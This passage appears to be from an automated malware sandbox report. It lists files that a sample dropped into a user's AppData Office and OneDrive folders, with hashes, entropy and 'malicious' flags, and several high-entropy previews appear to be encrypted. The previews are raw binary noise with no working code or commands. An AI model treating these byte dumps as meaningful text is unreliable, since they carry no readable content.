Preview:	SQLit.....f.tw...{....a..d....-Q.3..\n.f..Yx...[...3.D?R.O.gO..ZR,.D\..........E9.!...k...uL^.+.Y...,.4.k...A..N.$.......rU..Q.... .....#.. .......w.u.0..q.\..6...f...h....lM...35.~\|.Qd2..P...P\...tKtc.. ...XR5.3...v.&.$q..+^...x.6P.+Sis...h...]/..{FHDR..vj.Wg.$...iX......k.7$ ..%..{..L(#t..z....b..l.~..'..s...'.y..Xpf.>.w....b..'..:.y...J.m.f... _...M1Z..W?.......$..!......W...Z.).......%.....z(...5......(..F&..\cpv..S..W..V..'.d.BQ. .C..v>..,..c...9\.Zl7...ce...<...3..Y..si..F.o..0u.}.j...v9-F.K.w.R.Ea.u?....>X.. .{....... .;........m...].....o$.j.F.k..."<.*.....J.60....!.P._.%y.,..,N...=4ze.(..ud...`E..;.X....!...r..U.;\..%.b!A....B4.1..T<.R=.S........2...E.a..\|..y......:9....8.V......8.4Z.<.l.w...j^.}p.1..q.k........g....A..UjPK..U.;]...#...+.2.."........J.Mh. ;............n..e._."..L!.'...S.E.[..YHn6hw..........E.....:.Cs..v.G.@..R....1..x...r>..2.".2..;.$3D.y.N)u...Z..]}.....b.._..r...y#q..k.IO6WK9keE]../...V...(R...".&.....!,=..I3}@~

C:\Users\user\AppData\Local\Microsoft\Office\OTele\officec2rclient.exe.db

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	24910
Entropy (8bit):	7.9935163287660185
Encrypted:	true
SSDEEP:	768:QGpRhLMeyMt7yDof1VzWWQrVabZUXuzFty:QejQeyMM0V6rAbw4c
MD5:	F3E95847EC259E4773EEAE8A91E9FC27
SHA1:	32F79EAEB38919C947086B890499459695A3B49B
SHA-256:	10604AACA925759CCDCF5CEAC1DDFAC376643346E3B20B462C14C842B4567DBE
SHA-512:	848CBA5FC5AD06C159FCE791F6FF5014F3D543856351F402326866DE0882CC284A6D83C325CA6D1BFB4D4FEB9102087D26AA377D19D5B3E89E1168957D9093C9
Malicious:	true
Preview:	SQLit2sU.{..n.Pptwq..0...........A...........0.I.tv.........K.%b..S..>.K.E. .C...g...9.W3#y.4...:.c.<.T..Z!(/z.3.y..#R.LCnk.%kl..O.B3....H..G.A..`....=8Y..k..K@".c..%8i.S`,.#........0........Y......Lw..\|.c@l.%...........1J..0...E.;S.4z...2....Q.v0.fM.u17.2....taQ.J.Od.I.@{.%..\|.%..FC..f.....9..]Yr.$0&.....Wh.C......zk'...c.,....=..<^...`^5J.....#..C...i.4....v..h....t..D.~D.....b@..uM.].,.A..N..E}.....8Q[.p.j..b.!d.2)...^..yC.q...C..@.O..2.......P9R..F...[...Q.Su...O;.jaT..5X.O...9.)..V..p..z.+....".......W.....D.Y.q..Y....R..(.3.J.....C..I....;...@.p..(o/l.S.#8H....L...G....La...i.6\.D...E.I..u8R8'K'....YMk.XH..=8...@a..........l..H.~......p......gb.....@.s`.A.l...#-Z..?...I...U]{...V.[4.$....,\C?.1p....q..BA.1.nkV......h..Ix~.o.q.......V..Z.zC.....c.@P...'.....Mj..%g.B...].Y..Z4So..I1....^.P...W..D.b5./.73..x2dq..G..\!.b4.G{..H8..<c%5D..^..../-....:B.ceM..4....jT,.huK..J/q..S..A...!w.....L.....=T...q..?.....XB.G#k........

C:\Users\user\AppData\Local\Microsoft\Office\OTele\officeclicktorun.exe.db

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	24910
Entropy (8bit):	7.992793759849605
Encrypted:	true
SSDEEP:	768:if8izh12R0Rwp3H9+CJP+0k09/Kkr0eXH3i:G3D2nhUU+0k09iY33i
MD5:	10B6E3974618C8B2F1F71541FC029BD7
SHA1:	1278651772F98E5AF2185C8F165C43FFAE2F00B4
SHA-256:	136387A10E7CCD8CCD52078173244E562F32F03BCFEB55C811C56B232E194F7B
SHA-512:	305DDFA7DE810B2FFCF637D703736C40AFBF572D0C0F259068F11A3C29F19076561D075B995F144CD8A21E9B811988AB2BFFE73A4A26C60A06CF800569240281
Malicious:	true
Preview:	SQLit.Z7...i....A.d.{.~..2...o3...?.~&...Sg..[.a.J.we.4.....:.5........lm...D:x..b....F.i+....O.z.f...@.......v..zU.a....i.N{.F..Z.!.A......K....A.....O<w\.k.]......jq..<zK$.;V5...3......X`...g.>...mfz...d0..8.$..$.u~X}...,.s6E.B...b.WH......B.l.\':9.....k...$.T...<..z.w!t..J..1..t.+.AK.....H........k../....j.Gd......;s...j.u..9.a3..x~...'.....>.#.=.M.w.....7~`O.+5.Ey.......+..;.[..?;A..(..=RK.P<..a...;...l[.. .;.^..D.....N.....a..9......1.AK.-.4.._.kN.\E4.%x.Zw....y..ui......nl."?a#.M.e..V+?Ve...D\....T-u`.9`*..:..t2...^...w..jIXS.Q....E.....p.......n.;.&.F.T.e.....(.Q.........q<.c..ck.......j.SP.%....pJw\.~.....@?....&........r{...I.G.mS....e..7......vH.,)6hm..\.G...>.......S...x.+.+X......r..Og........_.I..=.....\." 8.{.X{..>J.@..K_.}T....N.......fNx...1.\|.l.jbN#....).....X..... ...._U,...q....V..)....=.g...Jt..F.T.VU.b...kt.'..$.[...V........Ox.Y.y.._.M..s...%....=..$...%'....808...rB...-.)...p.{..@;;..m..XH.t.bl....=.XP(.

C:\Users\user\AppData\Local\Microsoft\Office\OTele\officesetup.exe.db

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	24910
Entropy (8bit):	7.992531154984266
Encrypted:	true
SSDEEP:	384:GnU64ZDmZrb6W07PYKRxslOgjzVO6RL3cCW3nMRqct/BgdXjg37:eE4b6J7h6lOGzVy3nMRqk6dXm7
MD5:	7A31707E7640328BA921FFEF937FE934
SHA1:	159BAD3BDE25AD670E59A100F5B8B2D0E3CDB548
SHA-256:	FB806FDF2547B80AF275AB2C83844B2D389AAB6F00046AEB9F363A32AB2C9CB4
SHA-512:	5315E01F444B943FFD2CA3E1BEBB168A41BDD5BE3DC39370B1208C47B07A6164D4A32AA269BA295EE66EE1E6EEFC0C8CCC3120D2C20D294DDE226567BFCE6160
Malicious:	true
Preview:	SQLit...T..c.7..}....Zf.h.q7....4.5....:....-0..2{{%....K..h..t...Z@J...`..9.(......cd.=..P....eXY..;...y....S.."S.4.dhm.:....D.jK^U..;.o;.H...O...+..aY..".E.2..mH^..i1.p........ol.... ..........Q...cB.I...M-G...`..."...;{.E"...bP...w.I........._..X....\.v.H....A....%.Vi.m.....:De....x.z...ux26TO..$^f.f..pp.Y...g....Q.a...Fg~....u.....T./.g.XH.4(.8j. &e.....^..=u..(.=...$...9..p.4.Q...h.UCb..M...>....l.<o..f.YM.&cO..:.....i.....S......=...)A.}..M.X.>..P",^..s.F.AP.}...v3....G.9.l.b.X.$..P.E.?...{.#g..1.g..1.[...M/O.s4@l.f..W9=....m..fh....]fhK.!X..g.....IaTI..K._.u...@,..B}.....e.......#S.1D.r.\|.....Aoa5.:Y...5.F.+dd.P.rf...w... ...pyj..,.....b..G....-R....... .._...a....&'....l8D..G.Jy.aG......p..Z..$ml....#K./..T..d.....+.....f.i.@..=#..J...~..<.._.2~......r....a..eCq.Z......b.f.......q..<"R.^..o\|.$%...ix:....h.F....Y.,\....n@.D N....`yP.?{.8.u....p.D....X...ZO...G..5....t...}Y.H.J.=."...):..9z.b..d.#..h.B.~6.a.z

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Install-2023-10-05.0619.1132.1.odl

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	1.0442690088447149
Encrypted:	false
SSDEEP:	96:gHUZdt0OBfkkkfYWK3arcjrAzwa7VmMa2/mNjUP0aresKb87:TByK32plIJi6ejq
MD5:	EA526C87CA9ADD007B9B3267A9AF16E0
SHA1:	68527CEF91B6B876791812F1954EF9C901CC2CD0
SHA-256:	E613CAF542FB8BEEBCB13D47C9456174E7944EF71E32AAE69B1F7CDBC54F7C13
SHA-512:	9DED1A5337B2479EB756E253AAFB7781948A2D43D202E5E47FE5BF4D7A06A1415A9D7471420E8B7AE6196561266B9FC6169B849E71490A70A89691F86E1A7A71
Malicious:	false
Preview:	EBFGOsa..._.B.W0..X'+..Q.?...;.f...w;. .../t..Z#0..\|j.U..87.4.nh.ger;./a%.&...!4........#.P#.]8.....Xi..:.....H'.G.f..b...GI}veE..\..C.8.f....w.W0`.W......y..".Bo..Hf.8J/, .n....k;.g.....?ZY...\|._.r.]{7)a..nar.lH...-Y......O.^...^....E.....2.....r...2..?G...@.!.}]..?f..;..9h).K9.q...5.&.U......%4...p...7c.j]..[..`.a..=.f..%.Ex.F.`k.U..V8D.)$@.-..G.\|.(4.Hr.<........._....i.. ...le\|...$V.?V5.T..Y....$.$....>..........8..E1.......]...jhD...\|....~.`..R.K.:z./...9f..4..5.........;....z..usf..f..........].+>.rRQ7s..P...#r..E...\l..q~..%-.../..-.&.Sf.6>"n.o...9...p..g....v.o.}.(2.:...C..."...j1..Jx8IW..@.......~6...2F..L(.$f.8.n..>T.........*.c..C.{..P...F.l..y.d......x.;........].$..:..o$....!...s.zjj./...4...\.......Qd........T..r$........-$gki..a_.$...G~c.....T..4.@.--...........X.g0..>..w.....$p!. ..>...0N..5#P>..<..r99..rn..{HM....geAu=[Y...lm"}..FWw?.Q=........l......_...]G._....Mo..9.T..\[.3......9..".J^............K.wR...._"AM...m

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Install-2023-10-05.0620.792.1.aodl

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	1.2785991971862827
Encrypted:	false
SSDEEP:	96:PSoBHbVjHBYkIODL0Iv0ump7NWHzzDA3nVyL2RHuInZb+IfpttCXei/D5eCQIf:qwVjHBYcDrcNpAnyOG9fxCbR
MD5:	A9DAD71878DD23B6FEC9ED1069FEDE7E
SHA1:	EF99C13F16A6F8DA12B365CC019A9EA2DCD9AE6E
SHA-256:	58AB90B26B7480B8A2C36787BAB87DE5DD72D1956780075C42DB031273CA67C4
SHA-512:	071179535EFC8C3189A6173C505C4882D5B024499C58B851412C76D9342A5C5BD8F638B4FBC2CBAC8B6491CD53F359D84FC709CE152FCEEE19769811C860B8EF
Malicious:	false
Preview:	EBFGO......M.K.LR. .D...Z...`......T.F.?.A.O.]+.8.D..R...P.h:.R.v... .,3S...#.G}V..%.s.......RV_.{....c..='.t5...>...[T./.u...%i....M\....\.....j.8.....Ft.4...J..g9......M[....w:.(........b#;....g....Uy.f..ql...fnJE........BN.A1.A..s.s...$.k...C...rKtk#>yl`...BY0.....\|R".@^.r.l<9.....c.z....U....+V......%.j......d>.oM..vz(UF.Z/ZF".)....kB...rO.lvL.....L...R.....L.F2r...\...l....^......xo.ra.[!V..!.-..dB..M@..:>..$.9`.U...[.}0...]@....y...'..Cz.l0}.l368\|...\|.%j\.K8.`o.V.T-....S.m...]....o%......."=.[.....Z;W^j...r......gu.. ~+......:.E....).:.DS...c....0..TW?&...ku3..Rj.!(.v..B.....C..2...f...=....6k..'.C.<.x.s..s.....U).1_...R.C....2%}....K<.......c.\....p.5u0.q...?$j.r...V6....s-.#5...Jt.J3.^5,.B.-.u...@.1&$.x..hW.<r._.\..+....!.....f..Kt7,...^5..9r!p....W...._`/D'"..^>....J7..6'7..<2.AE...W.r.....'....r......1.N.u.A,.`.U.mGi....x.....t.@....a4.N.$.K.?.{x.Q$......5Ed.........j..Bq$...............d.I..\[gE...5..h..i...W./4I.

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Install-2023-10-05.0620.792.1.odl

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	2.894539534927496
Encrypted:	false
SSDEEP:	384:etfxDNF81yVQuCdtJeM23fJOIDLc9fhhpsnVl5:erfpVDuJeM23fJjcZhhp+
MD5:	AC4C5EB399050CD094F450B4F37980DA
SHA1:	DF79F94BB95741C9BD9D682CD3337009C6C8159B
SHA-256:	CA69A824F9B2A8D3041056CE7D33B0F4D3861069FE930AA389107DFFC89EB44B
SHA-512:	9434D6F02732ED626ADF78E7E4D0914115C831CE309761A01B9CF9FA0C63542C823D1D0FA9C7BFACE6ECCD921E6BF7CCA10255BF0F2B9DB98C6AA9D048A7F99B
Malicious:	false
Preview:	EBFGO.....[...#V..M.....l.....gcU..-.=:.2...p>.......O&..W.6..#s.........r!\+-lQs.>.........Bx.C..".Y.l~#AO.42...8\.+...P.B.. +..D........<..X..^.Y..?....-6.K}....\.W.#O....9A9.......v.kX..Z......{....?.F.rN_...v...0=..@...EY..%WPV..=Y_...].].[Q.=N7....oDW...Kd...?...[X........:7..x._./.~.W\| .2.P?.4LY..2.d..m.0N.B.E..a.j.......L.%.....:.k......sg..v1....CN......._..jI!po1`i.....s...&.c).......<&>.tm.l.6!..$ba.2.K...\|...=...."...R.Mh...0..^Q.w{x..py-.........o...-.D..5.......7...58?..U)..-..h..5. ...\.-..S.....a....w....t..l_.....V...uH.QxEu..Y.E.n.?Oz..v...<.zZ{s..l......,....]..$...\.h=(7DR.......H.\|kU.g....1..A...b)ZG\0'..C..'.C..".D.g..z..\.+.\.....Z..a...L..L...>).O...k.O.......mm?"......G.8....H.b=Y...........:r.p..K..D^.m.k.v....:.....m\|.J@<Id.`J#.......ml..Y...W..k~............C..y.]y.K...Y.4..3q@<[..JS..rZ..^...Q>.w&...A.#...'N..i...@o.p'.@iH5.<..0.e..."..5.._.....WG.>.R=..(L.Ms.Y...i..Tx..e`_(..;/...Z7Xn3d.pRh.4"..).j.?.w

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Install-PerUser-2023-10-05.0619.1184.1.aodl

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	1.0134869724383473
Encrypted:	false
SSDEEP:	96:9XNbQlE3+YCS5SrwlDLK9AGQJm3iqDWrNajHMcbAy5xuAgBhOWijKxQHN:FN7uXcSWS9AJsFDWriscPxu1hp
MD5:	587D24E1FC628BCF555AE5F417F8365B
SHA1:	2BA18701C44E88D4B1C62E2AD04CD1BFFA962EC6
SHA-256:	FD1149504ED627A33750A5E9A79152F87B17A8AA0F76E7B9FAF0FE0462777782
SHA-512:	3F341591B921AB2FB30B41FD0BCDC70A289134B051A3A3DD27E9C3A8F03AD972D8895751A66609766097BE04618EABEA6843EE9C36A167BD6359247B03FF1C2C
Malicious:	false
Preview:	EBFGOU..OM$.h?.#....\..d.:..M...O.Q.nm..d...eW.h........C......E..j.....9...l...7.+.......:.)p..{2.ZL.'.........D.P4.g.a...}....k...e...9..:...B.......fM...cC..P..... ..../0I.c..Q....~/d..1..D..%G.yX...........ES?.I....6WXBDF.dy.jE...'.IT..7.0s.....T.):..HO....E.O.VCd5o,~..n.3...A.A.<......Z.}g.Qfk@.....!....y...Fw.$.].....B,....Jpq..:../..`..j%.".r@t....k...\k...I.}.S....R.....\.UyWs..D.....G.D.....JZJ..V.s..=...<Z.6..S....^..\|-....F....K.e.C.....h.!E<.9b..k...S.=z..\|.K.I.....n..xe..z..P....Y...'..}.tU.\.6K)&.b+.....k....11^...b?2.^..7\..q..$.n......<.;.B..g>oA,."?....T....S....Y.F.,..~.r..&.n#....:\ob.....7';..S.2>%?}/...i.....s.#...Cu...u:...(.e.M..;r..l`U.R.U.Ul.8.....1.t".Q..On...n......K.5b......[Z...MR.n9..9..\.....{..7.^5......N])...I.m.l....x$Elx'r9.r.bNU.&.1`......{.N.4.....-.'.!....b...r..D.wN^D...-P..;..10.p.q$\...G...K...qo...).....]..vYE........y.+...E..zQeN(r.5...v).ep.a_.-..n&.q..?.R.....0.}...Y.......

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Install-PerUser-2023-10-05.0619.1184.1.odl

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.20624424558671467
Encrypted:	false
SSDEEP:	12:LMDGvLwVPekTltqWIeUwZNGh5QV3OvY9HGendXMA+JoHYylgx0jyGEVxKCBl2DiK:GU+ltqpeZZNgY9xgPKKZ2CBqiTkbz
MD5:	F645FE5FC48CABE6E2175C6F93A107FD
SHA1:	E7F11219363FFF30F6EEBC1351EFA3C5A270547F
SHA-256:	F8E43ABA525457B2657DB0C36DF522F7725290C4D6C1FED529CBA71417E825B3
SHA-512:	D831F68DE734EDF8F57AA9DC5A1087EB5A97E3AE908E6D649F62F153920CABF1DAD357F897022EB3EE82DD7CEA806BE2F3358CB7557530D7AF1030D0FB5D9E15
Malicious:	false
Preview:	EBFGO.b<..........=l....c.g..y.9[>2J...I.@...l.D.z..........Z...X..8._..f..SD>..q...mM#.f....Lk.....D..Nh......J]m#..........o&.k.5.B.!.)..x..>..2..z..K.au.Q...X.=.4...........hD,_..je.......-...j6...:.76..o..r.#.X.x.T.;.KoF..Q,..N.7>L.. ...{......^.....f&}..2X.up...@..z#J;........a...";..&.3oY@:....i. .^.2:.?..?..-..a...P"9+Y#1.BT..f..D.9..q.$]......".G<ln:. ....V).p...u..n.2.e..s....O.....V...U.....I.ee.N^.."...Z........Fg...}sr.,.....w.I..$....F\|AKz..."U..e...O...>T.2..t3:..^.lb]....T...i.......aFZ/.....]f].Q..?....v._Q.U...u....4....m..w...f6..-.md....0.=..J.8CZ.E....5<Ix........k...E1..2 ...v...8..^...e..?.3..s....m....@W..1B..iG_KaE...G.AnnC..g.'b....~F.V.?.SM...NK.uBa......:.e..Wg.H4..X.l..Ev.}.5..'Xn........r.T.W.....8...0..B....C.....5.r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}........................................................................................................................

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Install-PerUser-2023-10-05.0620.3608.1.aodl

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	4.68765810991499
Encrypted:	false
SSDEEP:	768:efOtEHppGheiTUXPjc/y/6kTJmzCmaMKcDn:a2IGhPUXLe2h+4MN
MD5:	A5CDE6882A29C4B095B6C51FCBC41287
SHA1:	5A910DFFC229BE077FB67235A6923ADD7A078348
SHA-256:	9AB88CE2DE494307FAC6ED3A3D1823306877C097B301D4AFBB96816BD6B85776
SHA-512:	419E9B536D00E3E9518C1FC2AE791FB70E12E8AB7BAA2248DD4E8A1371009BADB1E3E5F59D9707B2C6ED7FFBBF94F010801CA272F238FE776046D70A41E2ABA2
Malicious:	false
Preview:	EBFGO.i..{.....Ih..,....S...,4....kM$...N...8..X.......6.\|}:...: .....Lv4.,2.[...mX...g_..S.'.p..x..=6...NcK.+.....?.......b..X..>.+.]#..6a_./n..M..?9..<5H1%.=...hJ...i.Q<?..6..1........A..o...jJD.\...:.h.o_.<_.1...#X7i}d.Ck....V..&....k8.XP^.J...5..\|.........p![1e....7iL.!M9?.....Mv8U#i...F).3.J..`.X.%.$...:.R.O.j.....oj....{......?...&R...p.`.....E.>.2dPt.}.c..p...rk...U.`...5{.N..X.+..d.. .m.....`.u.... }E.R...)L8...p.~....6K....X.(5"...j.o,u.....3z#..0.:e}H.B.:...].v)".ieZ..P....".N.4..N......AL}.....3..Jd....].K..h. _.B......f...O.`t.....>.r-..........D.&.....(..x.....$..k.a..<.n.....lEX3.I.......B.. )AU3.`.)9..Y.N.E.....v&..1n0..4Oa.[G&..\|U_vy...(...\|.....k..w..e.m.Q.L._v=l...M{..O...EB..Kpe..........n~..\.P..(Y.KQ07...E.`p..=....a......2...&]}0..Sj...k6.2q...d.}..U-'......@V..X9Q..KI...6...)2...n5.........@.3..!.Bq.'I0.t.B.Vg....[....m..6.}m.Vy..v.b...E_e..4z..J....c.....`=..:......f....s,....b..!.N4T.....f..A......n..e..7Z.nh..=.gLa.E..

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Install-PerUser-2023-10-05.0620.3608.1.odl

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.30650744651448064
Encrypted:	false
SSDEEP:	48:7QD0D5osFqk62nRxOx+FsekA8lwDleSziz:KA16T+FseQleeSG
MD5:	5CEFBDC3D49964C517EB5A5A8D135A18
SHA1:	DDC54359F0E1F205B51593649590471BCFCB7496
SHA-256:	F31CCE956CFDD6A766861E3EE8D50DCADDF5CABE17E3466157035DBFF087B67A
SHA-512:	39DBBF63E2825DB7D4BE1FB359915BADA51C2A31A72F9EC269F709DE004C59DD21ADB48FBA2B16EC032915E21B4BFDB0446E08D9CA0AC5220FE9D4C758167209
Malicious:	false
Preview:	EBFGO...Q.......1... ...Q;.b:..C.qE.M.d..`..f.,...^."E ..R24.....+.3}....[vy..q..0.'....K.....pFn\|S\|....}[I..L}.a...@..f".[i..r..-H.......d.T.(...=.9 .3...R;......\l%..i...e){..l.].O4...%..b...$..b....M..._)....>9L..............0H5..o...._.......h.3H@]p%...9.1......M.v....~._........(.<[...WCW..+...}../5.D.sb........`Y.xU?......;>..$...Sq.(d...^.D..xY ....4....~......ng.. 0.....?x.eM...f.O..f..Q.i.D...*f..62....o.'T 0D.....i.v....P.3@. .>t.c..@.._3...yFu...OP.1q..[.6.1....%J..^t.~7.=....XE... ...Z..L.........\|"..4...B.9$...&...p.<t.K..2t....&....uH.g7..U.d Q<R.y....p..+i.y)..z...2GP.G\.+..P.........Q$$"T...h..N.....;..F.O..{n 4...nV&j.R,....k.&...q.[)7.8x.a.Y`/..N..E...7."..~....'.....2^..0.O<... ..O.+$ ..O..T..NP.}......h...u):..N\|/1.Q...K...(.V...{....a.......S...6i^..X.n...Y...u....b..<.;..`.x.>...._YQ].J.".).V8.D.b&F..\..R...vF..jS......X...;".....V...w.&.i.SM.&{1Z.Hq..e.L?....8...1.l.9...SI.....D....Q.r.Pz.E..K.n>.....&0p..4:.xP.

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Install-PerUser_2023-10-05_061941_4a0-924.log

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	131072
Entropy (8bit):	7.941832749227715
Encrypted:	false
SSDEEP:	3072:u63AXvvSouUm21Fe5oyIMWpwZaWtq/LdzUv:uWE9ZjFe5oAWp7Wtq/g
MD5:	E87002AFAD24AB872EA39E642EF9273D
SHA1:	A0E49E5D7C95AD76ED7BD169AF060CF0B20C0851
SHA-256:	0023A5AD3365CEAB77F60141ABFA78992216A7C56B717E0689C2E714A54FBC36
SHA-512:	0728780E19DAE7E7A72E5C4F7C7EE6F7E4798D9CF2FC84662CC6FD51BD1342B9290A79E86FC04D1A5E9431A5DEE9A945FA7910AFE36EEE7234A5189BE8F13AC0
Malicious:	false
Preview:	1.0./...D..L..........Yd.'Y...w.q.`.;.`.O>l..M2..7s .dh..L....6MP.)...."<.6.0pF:.Rc,......w.k..wf-..^.....U=..n...WBy....`...\|<ym.\|.(...a.1...k...5p..>\....h.=.[...Ax.......-...4yR.Zb.....A.uL...57....&....8.n..o.b.UY...\.Q...[Z...3.b.mT..$.I!.........YS...0...qt.g...lc.d..F!....q.ns.@x..lr3r...SoG..oh.;..V.n...5^.),u~...d.O~...].\|....s.......b..YM.&.2...O80..CY..~]O.v.Wc.6`..$q.y.5K:.]w.G...G.......c.,...4..$.86E..?[~89..6/......".G.$...5.R.xj.)......\|.7Z!#X..h.$7..A.XA.;q.....^.pM....0d..;......k.._..B.F...k...\.4;...`..K40........m.....`.Oo..l.....s..1....se..._ZJI......w.P..vq(....1q.R^.9......{"...S....[..xW..\|..\.m.KD.M.Q8..0E..%.j.k.RG:..M..^`..g.M...wS....o[.....&Q....h.b.:P..t..@....g./&h./k{..A$r.H........U.2.j.%..p.\../.........dw.\|....X..$N....T-....suB...O.e.n..Z"4B..U..!.....EBd=&.J'..o.g..QK.u....7".F.c.2>K.L..a..=yl.A......%>...K..U=...g"i.......#....=6... .2...1.s.^..O.5....Gl..hi..b.9..M.>.....>..r.)R...........

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Install-PerUser_2023-10-05_062009_3608-4064.log

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	262144
Entropy (8bit):	6.805864153590213
Encrypted:	false
SSDEEP:	3072:ihwiZo0CKa/gBVBEP9cV08pwifpSP/zy3faGZYqhZIdGHb8MdENiS8km58w:sN+z/gTBIcMPL+YqhDYME4f
MD5:	8552CFCD4D16E2BCD221726E762DAA10
SHA1:	56DFF14F124E2D968BC613E7E7BA3C675FC79182
SHA-256:	C5E59D2DD8C9EA93954C18C0696CD267A1A51287EBFD5291967BA61FB2B0CE55
SHA-512:	C74B493821F907D16058D141E6CFF144D297B9E22C1F59180ADD5D055FE28E9CC5ADEBDEE9C276C7FADB99A964731D0AE73BAD5936E5703C55DF0F4C683E3A67
Malicious:	false
Preview:	1.0./...".1......V...t..[P...}...-0..&.U..h).<..S%....h.y..\B.N.....% ;Po.3.F:.U...J..........ve".f...a$z..o..G.'2...j.C....uaZ[......\...j$.s....1oZ...:.%...I5......NP.I./...h^......Jc.#....e.n.f.]....\|.K0.u~..Q...d.......N..Y}p...t...q.[;)...o......h....b...../.JaX...@).F...=..YX..p.3.\|.C....G#.n'....pH......_....G.7n.......sh.W .>....W../..w.-).:.~.k..V..z..9D.Y.]..:.....N..R.L#.....,7.Te.......$</&.Q....%......t.P..j..k....ih..'.......c..[.J\|6{%.....=T+.~.Q.....v.D..s..>.r..<...;..q......./i..6.$..X.1..2.2....4..=...O@3..Y.n..a..%".qF...M.O.66.yC..Xp..y......$!yC.{....^3S.0P..ZX...V^.)....7aw@J.9.-K^l9...C...5..ms.........@V..,..Q.'3<....er..wrZ2.z....pD.F.?.:...<...%..X.^.~.q...J2c...H1.k.B.M.H...(....I..Z<.=h..E.}....855@.T.......:4.....;~.....?.m.&.......L.Hj^X6\|......Z.R..........l......dK._....R`...E...P....\.....E.^..&...q..1.7c..J.w....q.....@1.b..A.DU"..M...p(.........T.....W'.....O....e..[..9\G.L.~.H...p.

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Install_2023-10-05_061938_46c-3e0.log

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	30274
Entropy (8bit):	7.9934600812531125
Encrypted:	true
SSDEEP:	768:HhI3prhx3iZGc6grsAqMZKp9s02r6xAPdUR:HM1Qo2WJ
MD5:	C503F141B7A86E2E51BD003011FEDAF5
SHA1:	436D593A695FE68F79B1A06CE1B55573A16BDD13
SHA-256:	FFE63EDE3D9688228CDA9FF8736AC3F3C449F5C67FD0D1AC0547BB8ED9EA1FC5
SHA-512:	2E493977E82652A752EAAED9209C05FE4B813AD5554DEB6B8C59B0D4D7062204630306D915DC1F8A311D30E9FDEE23CFE981107E378EAD052D55D344E6858307
Malicious:	true
Preview:	1.0./A.@........H..^..F.....9..0......g.v...3......W#..snuq.1B&.;c. .........~v.1..#.Wx_.B..]... .....O$3.?z.M..k@..}Ot..........U....p..].....%......... s..k...Q....^...A..y.....K..K..=S..? .........2./.8....b.{.^..#8o.z..UC.u.Ce...7.=7..e....@c.J..M........3.._..f&..........kz.t.Q._.~..8)`.^-....]Y=.8s......\|.".:....L.{.'4lS.-.Q...9 .?..>.`Ac....Mc....{n......wR.x...n....ho.&.U.Q...+....(....]iE36O.4n.W....0..\|..E....G....(...5......e^.t;.q..q..X2.q.O........g@..uW.Y.....nv.....cm.),t}..Y.q.}.+..:Rp......=)V94..~..e.g(.Y..%...e.+...E.t]FT..w.....a.Ls2.KxP.....:.{B...p.4'.Q......o<......gK..%<..`.N.[9.z)/+..8..]....\|...nC...i.q..SJ45 ..0>.9. \|..&t........ff....t?.7.......q....-!T;(......H......i}...c..T/{f..$v~.m..(....k....`...RH.^.0..o.E.:.p....7....:...L..s..0.....<.....H..S.n..wP.sm...i...~.=O).\|W.+.......?"..]HB..=.bMh..G.a....7..V...^#S.8.T.h..S.qM._V.i.D.`..c.g.cQ..:..0..=P.....II...Z>.{..B..Va....J..]_..B...y..b....M...G.,.

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Install_2023-10-05_062003_792-1760.log

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	4.675009288468069
Encrypted:	false
SSDEEP:	768:sHymkxHD3OvsKKYIiTmYbywQ0pJPfXpN:Sym03O0MwOVh
MD5:	63F95D75475B491811CFF9D2E9F78E42
SHA1:	FA1E9E71B8100BAC28FA109EF05FD8F4AC597C9A
SHA-256:	C163844AED84B59CEA724D659A7142B0942938C5B67113FF7FF6B1F4080330D5
SHA-512:	2E24BEF5E393FC608D74D5FAE114959829540C17F95E60B6B2C67CBB2AA07C2CC7DC9FF143EF4C065616EF94FCA04680D91B3F5BA08B8008434ABB3835544A83
Malicious:	false
